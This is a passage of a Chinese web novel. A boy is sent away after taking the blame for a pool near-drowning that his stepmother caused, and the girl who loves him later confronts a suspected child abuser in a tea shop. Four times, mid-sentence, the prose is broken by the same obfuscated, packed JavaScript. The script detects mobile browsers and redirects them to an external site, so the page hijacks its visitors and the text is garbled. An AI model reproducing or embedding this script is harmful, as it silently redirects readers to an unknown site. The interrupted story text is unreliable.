说完,她捧起易冬至的脸:“宝贝,你告诉妈妈,为什么偷偷跑去游泳池?是不是这个阿姨带你去的?你说话啊!” 易冬至明显已经吓傻了,还没缓过神来,好一会儿才呆愣地摇了摇头。 谷佳慧沉着脸,居高临下地对着温霏:“少血口喷人了。第一,我不是你姐。这窑姐你熟,还是你来当吧。第二,我全程没离开过会场,那么多双眼睛盯着呢。第三,从头到尾,我连‘游泳池’三个字都没跟冬冬提过。你这么爱幻想,怕不是有被迫害妄想症吧?” 她话音才落,刚刚还痴痴傻傻的易冬至,突然嗫嚅着开口:“我去......游泳池,是为了,找糖。” “什么糖?!”温霏拼命摇晃他的身体。 “阿姨说,有游戏。到处都有糖,谁找的最多,谁就是第一名。有礼物,是变形金刚。” 温霏终于抓住要害:“你看,国昌!就是她,是她故意引导的!让我们儿子去找糖,就是她!” 易国昌神情复杂地看了谷佳慧一眼。 谷佳慧却镇定如山,缓缓俯身,想要抚冬冬的头却被温霏一把推开:“宝宝,阿姨是说过这话。但是阿姨为了让你赢,偷偷抓了一大把糖放你裤子口袋里了,是不是?阿姨也从来没说过,游泳池里有糖,对不对?” 易冬至想了想,然后点了点头。 谷佳慧转向易国昌:“老公,节目单你也看过了的。找糖的环节,每个生日会都有。彩排的时候,冬冬一直闹。我是为了安抚他,才跟他说待会儿有游戏。就凭这个,说我故意引导,不是血口喷人是什么?” 温霏眼见处了下风,更用力地摇晃易冬至的肩膀:“傻瓜!找糖你去游泳池做什么?池子里怎么可能会有糖?!” “可是......就是有啊。”易冬至小脸一皱,满眼委屈,“我从楼上往下看,池子底下亮晶晶的。然后,我就跑过去了。我看着水很浅,所以就......跳下去了。” 谷佳慧立即接过话头:“冬冬,你肯定记错了。池子里亮晶晶的,那是阳光反射。所有糖都藏在会场里,怎么可能会在池子里呢?是不是你跳进水里,所以荷包里的糖,不小心掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996674|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去了?” 被这么一问,易冬至越发晕乎了,只能懵懂地点头。 谷佳慧不顾温霏的反对,坚持摸了他的脑袋:“以后啊,可不能随随便便觉得水浅,光折射显得浅而已。更不能骗阿姨去上厕所,然后到处乱跑。” 一直在门外偷听的易伍,瞪大了双眼。 可温霏不肯善罢甘休:“你别对着我儿子灌迷药!口说无凭!查,查监控,查记录!把酒店里所有人找来对口供,肯定能找到线索的!” 易国昌的脸彻底沉了下去:“这不是已经很清楚了吗,还查什么?酒店都说了,机房那块没有客房,是监控死角。我好不容易拜托孟总压了消息,你偏偏要搅和?还就过不去了怎么的?” “那酒店的人也说了,游泳池的水本来只有80厘米,所以他们没派人看着。放水的机房是上了锁的,一个小孩怎么可能进得去?你不觉得可疑的地方太多了吗?害冬冬的人,还不够明显吗?”温霏哭得声嘶力竭。 “你在含沙射影什么?只有你张了嘴会说话?我害冬冬,然后佑弟为了救他差点淹死。我图什么?!”提到易伍,谷佳慧的情绪明显激动起来,“你想查,我奉陪!只管查!身正不怕影子斜,现在就把警察找来!” 她还没说完,一直沉默不语的季宁突然扑通一声跪下。 “对不起,爸爸妈妈,阿姨弟弟!都是,我的错。我没来过,酒店,所以好奇。房间没锁,我进去了。里面有个,黑盒子,写的英文,我看不懂。就随便,按了几下。没想到,这么严重。真的,对不起!” “你是故意的!”温霏疯了般一脚踹到季宁身上,尖锐的指甲在他脸上四处乱抓,“到底是哪个大人指使你的,你说啊!” 季宁结结实实挨着打,身体歪倒在地,但他连哼都没有哼一声。 温霏还在继续施暴,可下一秒,一道小小的身影从后面猛地扑了上来,狠命推了她一把,然后死死挡在季宁身前——“你干什么!凭什么打我哥?!” 季宁抬头,怔怔地望着来人,喉咙像被什么哽住了半晌,才轻轻吐出三个字:“你醒了!” 谷佳慧颤抖着一把抱住易伍,慌慌张张上下检查了个遍:“你吓死我了,吓死我了啊!我......我去叫医生,你还有哪里不舒服?快回床上躺着去。” 说完,她转头看向温霏,声音带了哭腔:“你只记得你儿子。那我女儿呢?她为了救冬冬,遭了多大罪?你怎么一个字都不敢提?!” “够了,还有完没完!”易国昌一掌拍在病床边,“这事到此为止!责任划分我已经说得很清楚了。酒店肯定要负责,我会找他们。再就是季宁,犯这么大错,弟弟妹妹差点被你害死!和我之前说的一样,易家,你是不能再呆了。” “不,不不!”易伍疯狂摇头,双臂紧紧箍住季宁的腰,“不是哥哥,肯定不是哥哥!他是被冤枉的!你们不能赶他走!” 季宁小心翼翼地抬手,轻轻将她的手指一根根掰开,用手语示意她不要说话。 然后,他转向易国昌。脸上没有挣扎,也没有怨意,反而带着一种奇异的平和:“好的,爸爸。还有最后,一件事,拜托。我掉在,泳池的东西,能不能,还给我?” 26. 一个秘密 “对不起,摔烂了。”季宁皱眉。磨蹭半天,才把藏在背后的东西拿出来。 他脸上的巴掌印没消,被温霏指甲划破的嘴角还在渗血。 “没关系,我会黏好的。”易伍轻轻接过已经摔得破破烂烂的礼盒,小心翼翼取出里面的白色纱裙。 直到这刻,她才明白季宁一直攒钱是为了什么。 在易伍还留着长发,相信王子公主童话故事的年纪,见到这条裙子的第一眼就快走不动道。 那是最时髦童装品牌的经典款,高悬在橱窗里,被射灯一打就成了所有女孩的梦想——穿上它,成为公主,收获爱。 可她从来没跟谷佳慧提过。 易伍经历的是一段童年真空期。 调皮任性、无理取闹的孩童阶段被直接按下快进键。一直被夸奖懂事不乱要东西的孩子更懂得自我约束。 “真好看。”她心情复杂地抚了上去。 珍珠镶嵌,裙摆缀满银色的月亮星星,漂亮得无以复加。 这是她曾经渴望,现在却疯狂抗拒的东西。 剪掉长发,穿上裤装,丢掉裙子,和男生打架,她拼命逃离一切和“女孩”有关的符号。 可现在,当心心念念的裙子摆在眼前,她才猛然发现,这只是条裙子而已。 它很漂亮,没有那么可怕。她还是很喜欢它,不用羞于承认。 长大后的她逐渐懂得,反抗命运的第一步,不是自我否定,而是全盘接纳。 接纳自我,肯定自我,热爱自我。 做女孩,不代表软弱,更不代表着必须被王子拯救。她自己就很勇敢,穿着裙子跳进游泳池救了易冬至。 突然,她厌倦扮演男孩了。 “哥,谢谢你。”易伍嗫嚅,“你......你怎么去买的?别人会卖给小孩么?” “小卖部爷爷,带我去的。”季宁腼腆地笑了,露出洁白整齐的牙齿:“生日快乐。” 可下一秒,豆大的泪珠从易伍的眼眶滑落。 她用力环住季宁的腰,小小的身体抽搐着:“我不要你走。” * 易伍第一次展现出顽固与任性。 一哭二闹三上吊,她像跟屁虫一样每天黏着易国昌,反反复复只叨叨一句话:“哥哥不是故意的,求你不要赶他走。” 她的眼泪像断线的雨,从清晨哭到黄昏,哭到嗓子沙哑,眼睛肿成核桃。 这副死缠烂打的模样让易国昌厌烦到极点。 他脸色铁青,忍不住爆吼:“你怎么知道他不是故意的?” 无意间发现的秘密让易国昌胆战心惊。 这几天,他很偶然地翻看电脑的浏览器记录—— 搜索栏里,赫然躺着几条关键词:“游泳池机房”、“泳池注水阀门”、“水位调节”。 * 这个家里的每个人他都怀疑过。 易伍为了救弟弟差点淹死,不会是她;谷佳慧从头到尾都在会场,没有作案时间;季宁跳出来说自己不小心乱按了放水键,他当时也信了。 直到发现这条搜索记录,冷汗直落。 他找机会偷偷进了季宁的房间,一顿翻箱倒柜,果然被他找到——整整一抽屉的话梅糖! 季宁什么时候会的电脑?答案呼之欲出——易伍都会了,两人形影不离,教会季宁是什么难事? 当时绑架事件他就心有余悸,觉得季宁完全不像展现出来的那样单纯,后来和钢琴老师偷情也是被他当场抓包,可这些都不及这个新发现让他五雷轰顶。 季宁当然有充足的动机——易冬至的到来会威胁到他的地位。可外表如此温和善良的孩子,怎么会藏着这么深的心机......他不敢再多想,直接一个电话打给滇市的寺庙。 一天都不想等了,他想立即退货。 “我应该报警的,但是我没有。仁至义尽你懂什么意思吗?”易国昌瞪着眼警告,“别逼我。” * 季宁来的时候阳光普照,走的时候绵绵阴雨。 这三年发生了很多事,唯一不变的,只有他身上的那件海青。 易国昌早早出门,没有看季宁一眼。 谷佳慧倒是一反常态,给他准备了一大箱行李,吃的用的玩的塞得鼓鼓囊囊。 司机在门外候着,谷佳慧支走保姆,又让易伍去练琴。 然后,她把季宁叫进自己房间,紧紧关上了门。 “现在只有我们两个......季宁,告诉我实话。那天是你放的水吗?”谷佳慧忐忑开口。 季宁想了想,最后摇了摇头。 “那你......你当时为什么会那么说?!” 季宁没有回答,而是从随身行李里掏出《玛蒂尔达》,翻到最后一页,摊开给谷佳慧看。 上面歪歪扭扭的,是易伍小时候稚嫩的字,还混杂着拼音和图。 “1.想要双安商场五楼特别漂亮的白色公主裙(旁边画着一条白色纱裙); 2.想要妈妈开心,不生气,对我笑,叫我宝宝。我爱妈妈。(旁边画着一辆大篷车)” 最底下还有一行歪歪扭扭的小字:“只能许一个的话,那就第二个。” 谷佳慧愣住了:“这......这是什么意思?” “妈妈,放过,易冬至吧。”季宁地说,“您想害他,最后差点,害了妹妹。这就是,因果。” “你......你在胡说些什么?”谷佳慧的冷汗湿透了后背。 季宁轻声回答:“给妹妹的,生日礼物,我藏在机房。去拿的时候,看到妈妈,从里面出来。穿着清洁工,的衣服。” 谷佳慧感觉天旋地转,几乎站不稳:“你!!” 缓了好一会儿,她扶住椅背,咬牙切齿地问,“既然都看到了,为什么撒谎?说,你到底想要什么?!” 季宁修长的手指重新回到《玛蒂尔达》。他轻轻点在最后一行。 答案早就写在了上面。 “妹妹说,她爱妈妈。” 他顿了顿,目光宁静柔和,“我要,妹妹,快乐。” 谷佳慧难以置信地瞪大双眼。 过了很久,她捂住了脸,垂下头:“怕我被抓,所以替我顶罪?这是你一厢情愿,我不会谢你的!” “不用。”季宁摇了摇头,抽了纸巾递给泣不成声的谷佳慧,“妹妹还说,想有辆,大篷车,带您走,离开这里......妈妈,不要用,别人的错,惩罚,自己。” 谷佳慧的唇剧烈抖动。 季宁继续说道:“师父说过,善恶都在,一念之间......妈妈为什么,不等易冬至,来家里,再动手?那样不是,更容易吗?” 谷佳慧冷笑着自嘲:“是啊,为什么?” “因为你害怕。”季宁一字一顿,“和他在一起,时间久了,会心软。” 他的目光瞟过鼓鼓囊囊的行李,“就像,对我一样。” 谷佳慧彻底愣住。 过了很久,她突然放声大笑,笑声突兀刺耳:“真是没想到,你一小破孩,居然比我还了解我自己。” 但很快,她的笑声转为凄厉的怒吼:“真正的坏人没有受到惩罚,像我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996675|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的,反而要被良心折磨。你师父说因果,这算什么因果?!我不恨易冬至,但我是佑弟的妈妈。我绝对不允许他抢走佑弟的一切!” “可是......您问过妹妹,她想要什么吗?” “她想要什么?”谷佳慧几乎发狂,“她才这么小,怎么知道自己想要什么?成人世界的残酷,你们哪里会懂?金钱、权力、地位,这是成年人的游戏币。没有这些,寸步难行!” 门这时被砰的一声推开。 易伍已经哭成了泪人:“我不想!我不要这些!” 季宁倒吸一口凉气。 谷佳慧神色慌乱:“你......你一直在偷听?听到了多少?” “全部。”易伍哭到停不下来。她第一次觉得,自己的耳朵不应该这么好,“我不要哥哥走,不是他做的,我不要他走!” 说着,她拼命将季宁往外推,“哥你出去,你先出去!” 季宁听话地转身,轻轻带上了门。 “不是哥哥。”易伍抽泣着质问谷佳慧,“为什么,为什么会是这样?” 谷佳慧心如死灰,声如寒冰:“所以呢?你,想留下他?为了这个,你打算去......告发我吗?.......那你来吧,打电话,报警!让警察把我抓起来,杀人的,是我!” 她拿起桌上的电话,步步紧逼,直到将易伍逼入墙角。 “自从有了易冬至,你爸早就想把季宁送走了。他从来没把季宁当儿子看过,你明白吗?你改变不了任何事!” 易伍沿着墙角蹲下,全身抖得如同筛糠。 谷佳慧上前,轻轻揽住了她的头。 那些尘封的往事,被一一揭开。 她的童年、她的父母、她的婚姻.....她流掉的四个女儿,还有,被医生错认为男孩而侥幸活下来的易伍。 最深、最隐秘、剜心刺骨的痛,被血与泪包裹着了十年,终于重见天日。 易伍在震惊、迷茫、痛苦中切换,信息量太大,已经超过她所能承受的极限。 故事讲完,谷佳慧自嘲:“我在想,为什么我会走到今天呢?明明我心肠软,最后却成了杀人犯——这一切的一切,只是因为一个人。” 她的眼里全是血丝:“这个人,偷走我的青春、我的精力、我的睡眠。他蚕食我的意志,瓦解我的一切。他以我为食,趴在我身上吸血,却在羽翼丰满后弃我而去。他是我的寄生物,我是他的宿主,但我甘之如饴。 为什么? 因为——我是,母亲。” * 这场近乎癫狂的对话结束,易伍恍恍惚惚走出房门。 季宁一直守在门外。 “对不起。”易伍垂下头,不敢直视他的眼睛。 “不说这个,好不好?”季宁早就替她做好了选择,“我们还会,再见的。一定。” 他微笑着,把那本《玛蒂尔达》塞回到易伍手里,“下次见面,再给我。” * 季宁走后,易伍翻开《玛蒂尔达》的最后一页。 她提起笔,把边边角角全部写满。 “我要哥哥,我要哥哥,我要哥哥”。 曾经许下的两个愿望都实现了。那这一个,一定也可以吧? 直到泪水将书页全部浸湿,再没人笨拙地用手背给她擦眼泪了,不会有了。 她又成了一个人。 * 这天,保姆来房间里收拾东西,无意间把《玛蒂尔达》碰倒在地。 等易伍再次捡起,那片夹在书中的心形叶,突然,掉了下来。 27. 一根稻草 长大后的易伍回首过去,自己的某一部分,大概永远留在了那个游泳池里。 这是一场旷日持久的溺水。 又或者——她从来没有真正醒来过。 游泳池事件后,易冬至的生母温霏借题发挥,缠着易国昌软磨硬泡,终于争取到了孩子的抚养权。 她一刻也没耽搁,拿着易国昌给的大笔财产,带着易冬至飞去了英国。 在国外,温霏改头换面,成了珠光宝气的神秘贵妇。她的身边永远跟着助理司机,频频出入私人俱乐部与顶级私校的慈善酒会——没人知道,她其实是富豪长期圈养在英国的外室。 她的过去就此封存。 在华人圈每每被问及丈夫,温霏语焉不详讳莫如深的样子更加让人浮想联翩——出手阔绰、一掷千金的夫人,丈夫想必也是位高权重,旁人自然不敢轻慢。 只有易冬至偶尔会委屈问起:妈妈,我掉水里的时候,明明看见你了......为什么,你没有来救我? * 自此一东一西,温霏和谷佳慧分庭抗礼。 易国昌派了易伍奶奶跟去英国,自己也隔三差五往那边飞。 之所以同意将宝贝独苗养在国外,是他猛然发现,自己无法再信任谷佳慧。 赶走了季宁以后,易国昌并没有觉得身心舒坦,反而觉得哪哪都不对劲。 思前想后,问题出在谷佳慧身上—— 她太过冷静了。 从头到尾,她的情绪像一潭没有涟漪的深水。 认识之初,他以为谷佳慧不过是个温顺好拿捏的大小姐,漂亮贤惠读过书,娘家对自己有助力。她配他,他不亏。 后来看她低眉顺目拼儿子,捏着鼻子喝下比黄连更苦的中药,他在不知不觉中生出不屑和鄙夷。 说到底,大小姐也不过如此。 再美再能干,也只能彻底臣服于他,为了儿子反复流产,在床上躺了九个月,身材肥硕,面目可憎。 等到他的事业彻底起飞,开枝散叶成了头等大事。他能力强、金钱旺,可以给很多女人爱。 谷佳慧的价值与他已经完全不匹配,但她还有独特优势,那就是稳定——牢牢守住大后方,糟糠之妻不下堂。 谷佳慧一直很清楚自己的定位。 作为一个拿得出手的门面,大多数时候她不吵不闹,对丈夫的莺莺燕燕睁只眼闭只眼。从头到尾,她只提过一个要求——让他尽量抽空回家吃饭。 充分显现出一个大婆的贤惠特质。 沦为工具的正妻,自然会被他的眼泪打动,轻而易举便接受了易冬至。就像《橘子红了》里的大姨太——懂事的大婆会主动找人帮老爷续上香火。 溺水事件后,易国昌很轻易便排除了谷佳慧的嫌疑。根本原因不是相信她,而是迷之相信自己——自己的男性魅力大过天,谷佳慧无脑深爱他,哪有胆子干出伤害他的事? 可是送走季宁后的某天,他偶然瞥见谷佳慧对着季宁的照片默默流泪。 被发现后,她神色慌张地把照片收了起来。 那一瞬,易国昌脑中嗡地一响:他们什么时候关系这么好了? 再回忆起易冬至落水的场景,一些被忽略的细节突然闪现。 他发现,谷佳慧并不是每时每刻都在会场——易冬至上厕所后走丢,谷佳慧去找的时候,她人就不在会场! 有的人跑着去救人,而有的人......借着救人去杀人。 他惊出了一身冷汗。 难道,是他们两个合谋? 温霏提出要带易冬至去国外,正合他意。 因为怀疑的种子一旦种下,就会不断生根发芽。易冬至是断断不可能交给谷佳慧养了,他重重叹了口气。 为了惩罚谷佳慧的不安分,也为了让温霏安分,易国昌引入了竞争机制。 他宣布,更优秀的孩子能获得更多的资源倾斜。 当然,在他心底,所有资产只可能留给易冬至。但明面上,他不会傻到浇熄谷佳慧心中的希望。 垂下根绳,拴个胡萝卜吊着,让两个女人和驴一样眼巴巴地看。 她们在前面斗法,争得你死我活,他就可以彻底隐身,一头躺进莺莺燕燕的温柔乡里。 古代皇帝怎么管理后宫,他就怎么学。 大婆情人,分而治之。彼此牵制,皆不安生——却又因为沉没成本太大,都不敢离场。 看她们争得头破血流,自己始终是那个笑到最后的“皇帝”。 制衡之术,妙也。 * 易冬至的到来,像压垮谷佳慧的最后一根稻草。 她变得愈发多敏感多疑、阴晴不定。 可易国昌偏偏给了她巨大的诱惑:他说自己想清楚了,男孩女孩应该一视同仁。能者居之、强者为王。 谁能证明自己最优秀,谁就能接管易家产业。 自此,易伍陷入了与易冬至的长期军备竞赛。 无休无止,她的人生不再属于自己,而是完完全全属于易冬至,她为他而活。 谷佳慧的悲惨遭遇让易伍原谅了她的偏执和疯狂,甚至更加同情可怜的母亲。 她选择当一个拯救者,不断改造自己以适应谷佳慧的需要,将自己的命运和妈妈彻底捆绑在了一起。 她需要一辆大篷车,将谷佳慧从泥潭里捞出,然后她们一起走,彻底离开这里。 潜心修炼成六边形战士,像沙粒嵌入贝壳,反复刺痛摩擦,经年累月后变成珍珠。 可有时,她也会想,哪有人生来就无坚不摧呢? 那都是经历了无数痛苦挣扎、伤心欲绝的时刻,最后逐渐麻木,把心门合上的过程啊。 * 新学期,易伍戴着假发穿着裙子来到教室,整个人焕然一新,引来同学们一阵惊呼。 孟旭“腾”地站起来维护秩序:“看什么看!作业都写了吗?老师一会儿过来了,你们想吃瘪?” 有个男生嘟囔:“你只说不能提季宁,怎么现在连看一下她都不行了?搞这么金贵。” 孟旭一个作业本飞了过去:“给你脸了,还说?!” 男生立即住嘴。 没人知道为什么孟旭对易伍的态度一百八十度大转弯,但是大家都默认,别惹小霸王,没啥好果子吃。 老师进班,点名到易佑弟的时候,易伍起身恭恭敬敬地回答:“老师......我改名字了。现在叫易伍。伍子胥的伍。” 老师听完皱了眉:“确定吗?你家长同意啊?怎么取了个数字啊。” 新名字,是易伍自己坚持要改的。 知道自己有过四个从未谋面的姐姐,她想了很久,最后决定用这种方式来纪念她们。 “而且,我也不想再保佑弟弟了。他是他,我是我。” 易伍下定决心,彻底接纳自己,重新做回女孩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996676|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与其强扮男儿去执子破局,不如直接把棋盘砸了。 谷佳慧听完泣不成声,懂事的女儿带给了她巨大抚慰,那四个孩子在心上剜的疤,似乎淡了。 她立即带着易伍去改了名字。 易国昌因为她们的先斩后奏大发雷霆,谷佳慧在一旁安抚:“佑弟救过冬冬一次,这个名字就作废了,不然大师说了,对两个孩子都不好。” 这些缘由,易伍没办法对老师同学说,只能点头回答老师的问话:“嗯,爸妈同意的。” 孟旭听完,红着脸悄悄在自己的本子上写下:一十。 易伍一十,刚好凑一对儿。 以后,他的别名,就叫一十。 这个暑假对孟旭而言意义非凡。易伍挥起短粗钢筋砸在混混头上的那一下,也在他心里砸开了巨大的花。 那天晚上,虽然被爸爸打得死去活来,可易伍的脸在他脑海里一直挥之不去。 惊讶、钦佩、感激,他内心的震撼无法用语言形容。 季宁走了,那就由他来罩着易伍,说到做到。 * 这天放学后,易伍背着书包,独自踱步到校门口。 她犹豫了会儿,最后还是走进了小卖部。一种强烈的愿望在驱使她—— 找到老爷爷,找到和季宁有关联的人,找到季宁留下的蛛丝马迹。 一个脆生生的声音响起:“你买什么?” 和她差不多大的女孩,头埋在高高的货架下。 “爷爷......那位爷爷,请问,他去哪儿了?”易伍问。 “我爷爷?哦,他死了。”女孩回答得利落,“你买什么,我给你拿吧。” 易伍愣住:“为.....为什么?” “什么为什么?你说我爷爷嘛,哦,就是摔了一跤。”女孩还在埋头理货,“你要买什么吗?” 易伍的喉咙堵上了棉花。 季宁这学期没来,班上没人问起。而现在,跟他朝夕相处过的老爷爷,居然也不在了。 那样慈眉善目的老人,让她第一次感受到来自隔辈的关爱。 现在,谁还记得季宁呢,谁还能和她谈起季宁呢?那一刻,她甚至怀疑,哥哥是不是她想象出来的?有没有可能他.....压根就没存在过? 女孩见来人没答话,好奇地抬起了头。只这一下,她便看到易伍的泪花在眶里打转,一下慌了:“你.....你没事吧?” 易伍摇摇头,擦了眼泪扭头就跑,女孩还在后面追:“诶,我给你拿点纸吧?你叫什么名字啊?我叫管小安,你来找我玩啊。” 易伍跌跌撞撞,漫无目的地沿着街往家走,像丢了魂。 直到有人唤住她:“易佑……不是,易伍!你去哪儿?” 欢欢从奶茶店门口探出头来。 她俩在奶茶店里坐下,欢欢急不可耐地发问:“你哥呢,你哥去哪了?你来之前,孟旭说谁也不能问。他......他怎么没来上学啊?” “我爸把他送走了。” “为什么?!”欢欢义愤填膺,“你被人拐走了,他让我去报警,自己冲进去救你啊。为什么要把他送走?我觉得你哥超级好,超级帅,超级——” 她没能说下去,因为易伍猛地起身去了厕所。 眼泪完全不受控制,她想去拿纸。 可一靠近厕所隔间,她突然听到里面窸窸窣窣,响起了十分怪异的声音。 28. 一位丈夫 隔间传来男孩的啜泣声,声音很小、细如蚊蚋,可还是逃不过易伍的耳朵。 随即,是成年男性压抑的怒吼,让男孩立即闭嘴,否则就......杀掉他的爸爸妈妈。 易伍猛地一震,冷汗瞬间沿着脊背滑下,所有的汗毛都竖了起来。 第一反应是男孩被拐了。 亲历过类似的事情,那种窒息感和深入骨髓的恐惧,她太熟悉了。 没再犹豫,易伍猛地转身冲向奶茶店的前台,将刚才在厕所里听到的一切一字不漏地告诉店主,眼睛还死死盯着厕所的门。 店主阿姨是位热心快肠的中年阿姨。 她没有怀疑一个小孩子说的话,直接抄起电话报了警。 警察还没到,厕所里的两人已经出来了。男人身形高大,穿着考究,戴着金丝眼镜,双眼细长而锐利,文质彬彬的样子和刚刚怒吼时的凶狠相去甚远。 他的身后,一个小男孩怯生生地跟着,身体微微颤抖,像风雨里摇摆的小草。 看到男孩的那刻,易伍有一刹那的恍惚。 他的穿着打扮和易冬至差不多。皮肤干净细嫩,像个秀气的姑娘,衣服价格不菲,是好人家精心养出来的样子。 可男孩的眼神里,完全没有易冬至的活泼洒脱。 紧握的双手,还有受惊小鹿般的神情,倒是和季宁刚来易家时一模一样。 想到季宁,她心里咯噔一下。 易伍和店主交换了眼色后,毫不犹豫一把将男孩拖住。 她装作惊喜地大喊:“哎呀,你怎么来这里啦?我们之前一起玩过水,你还记得吗?我是易伍啊!” 男孩明显一愣,满脸困惑地看着她。 易伍不由分说地牵起他的手,把他拽到自己这边坐下。欢欢以为他们真的相熟,把面前的炸鸡给男孩分了过去。 金丝眼镜皱着眉走了过来,大手一挥将炸鸡扫到一边:“他不吃这种东西。走了磊磊。” “等等,叔叔。”易伍眨巴着眼盯向男人,“你是谁啊?上次和弟弟一起玩,我没见过你。” 男人的语气很是不屑:“你认错人了。磊磊从来不在外面玩,更不可能跟你一起玩什么水。脏死了。” 说完,他强硬扣住男孩的手腕,“走了,还要我说几次?” 店主阿姨这时端着两杯冒着热气的奶茶走了过来,笑容满面地递给男人,语气格外殷勤:“我们店今天刚好做活动,新品试喝哦。喏,这是免费送你们的。” “我们?喝这种东西?”金丝眼镜冷哼一声,“老板,只是找你借用个洗手间而已,奶茶就不必了。我们还有事。” 他扯动男孩的手腕,力气更重,“还磨蹭?” 男孩的身体几乎被拉得踉跄,脚尖拖在地面。 可下一秒,易伍猝不及防地抄起杯里的奶茶,冲男人的西服泼了过去—— 欢欢惊叫一声,捂住了脸。 男人愣了几秒,难以置信地低头看着身上的奶茶渍,表情从冷漠转为阴鸷。 他一把薅起易伍的衣领:“你做什么?知道我衣服多少钱?!” 易伍扑扇着大眼睛,诚恳道歉:“对不起叔叔。之前我就是这么跟弟弟一起玩的。把水装杯子里,互相泼来泼去,就像这样。” 说完,她转头看向男孩,“磊磊,你想起来了吗?” 男孩嘴唇微张,眼神游移,随后木讷地摇了摇头。 店主立即冲过来抱住男人手臂:“哎哟哟全部打湿了!你别急,我去给你拿纸啊!这衣服看着就挺贵,脱下来吧,我帮你仔细擦擦!” 金丝眼镜粗鲁地把她的手打掉:“走开!” 可易伍依旧拽住他不放:“叔叔,我让我妈赔给你。我妈说了,弄坏别人东西必须要赔的。你别走,我喊他们过来啊。” 店主见状也拿来菜单,热情地翻着,一页页念着介绍。 场面顿时乱成一锅粥。 易伍趁乱悄悄对着欢欢嘱咐:“快,把弟弟拉到一边去!” 欢欢悄悄拉着男孩朝角落走去。 金丝眼镜察觉异样,扭头回望,眼中戾气骤起。他猛地一甩手,将易伍从他身边拽开,仿佛撕掉了最后一点耐心的伪装。 易伍的背重重摔到桌角。 店主和欢欢赶忙去扶易伍。金丝眼镜趁机一把薅起男孩,阔步就要往门外走—— 刚好被门口的警察截住。 警察盘问的时候,易伍一直守在名叫磊磊的男孩身边。可不管她怎么和他说话哄他,逗他笑,男孩都沉默着一言不发。 “还查什么查?当然是小孩子恶作剧。今天耽误大事了,比赛没赶上。我要回去把这事告诉廖书记,你们有几个脑袋掉?”金边眼镜的态度傲慢至极。 “你,过来一下!”其中一个警察皱眉,招手把易伍叫到跟前,“是你让店家报的警?你叫什么名字?” 易伍点点头,双手背在身后,乖顺地回答:“我叫易伍,是燎原小学三年级的学生。” 男孩听见她的话,转过头来愣愣地看着她,手指一直绞着袖口。 “小朋友,110不是随便给你打着玩的。下次再恶作剧报假警,我们要对你采取措施了啊!”办案的警察严厉训斥完易伍,转头对着店主,“小孩胡闹,你成年人也得有点分辨能力吧。你看看这位男士,像拐卖小孩的吗?” 店主不服气地开口:“小孩怎么就胡闹了?她亲耳听到的!再说了,人贩子还能看出来啊?真能看出来,那还要你们做什么......” 被她反将一军,警察只好苦口婆心地解释:“人家是特聘的家庭教师,带着孩子出来比赛,家长都知道,真不是什么人贩子。刚刚我们都问清楚了。” 金丝眼镜恶狠狠瞪了易伍一眼。 “警察叔叔,我真的没有说谎。我耳朵很好,听得很清楚,这个叔叔在厕所里吼弟弟,说弟弟不听话就要杀掉他爸妈。我不知道,有哪个老师会说这种话吗?” 金丝眼镜看向男孩,带着令人不寒而栗的威迫:“磊磊,告诉他们。我说了吗?” 男孩垂着脑袋,思索良久,最后摇了摇头。 “你别害怕。”易伍把住他的肩膀,“现在不说出来,以后更没机会了。他是不是对你不好?你可以跟警察说的。” 可男孩仍然坚定地摇头。 “那你这里的印子是怎么回事?”易伍二话不说,把男孩的袖子撸了上去—— 纤细的手腕上,一道鲜红的勒痕赫然显露。 男孩瞪大眼,慌慌张张地把衣袖放下。 看着警察过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996677|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 检查红印,金丝眼镜赶忙解释:“今天去比赛眼看要迟到了,磊磊说想上厕所,又磨磨蹭蹭的。我心急,稍微拉了他一把,这印子......我下次一定注意。” 男孩很配合地点头。 闹剧散场。金丝眼镜冷脸拖住男孩的手,刚要走出店门,突然,易伍没来由地喊了一句。 “我也有过!” 男孩脚步顿住,踌躇着回头看她。金丝眼镜还在拽,可警察没走,他不敢使力。 